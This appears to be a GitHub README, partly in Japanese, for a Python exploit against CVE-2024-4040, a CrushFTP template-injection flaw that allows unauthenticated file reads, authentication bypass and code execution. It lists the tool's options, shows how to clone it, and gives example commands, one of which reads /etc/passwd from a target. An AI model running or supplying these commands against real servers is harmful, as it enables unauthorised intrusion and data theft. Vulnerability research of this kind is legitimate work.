1ncendium/cve-2024-4040CrushFTPのすべてのバージョン（10.7.1および11.1.0より前）において、すべてのプラットフォームでサーバーサイドテンプレートインジェクションの脆弱性が存在します。これにより、認証されていないリモート攻撃者がVFSサンドボックス外のファイルシステムからファイルを読み取り、認証をバイパスして管理アクセス権を取得し、サーバー上でリモートコード実行を行うことが可能です。
CVE-2024-4040用のPythonエクスプロイト
CrushFTPの全バージョン（10.7.1未満および11.1.0未満）におけるサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者がVFSサンドボックス外のファイルシステムからファイルを読み取り、認証をバイパスして管理アクセスを取得し、サーバー上でリモートコード実行を行うことが可能です。
-h --help Show this screen.
-t --target Specify target URL
-f --file Specify file to include
Only test if vulnerable: exploit.py -t http://10.10.1.23:8080
Include /etc/passwd: exploit.py -t http://10.10.1.23:8080 -f /etc/passwd
git clone https://github.com/1ncendium/CVE-2024-4040.git
cd CVE-2024-4040
python3 exploit.py -t http://target:8080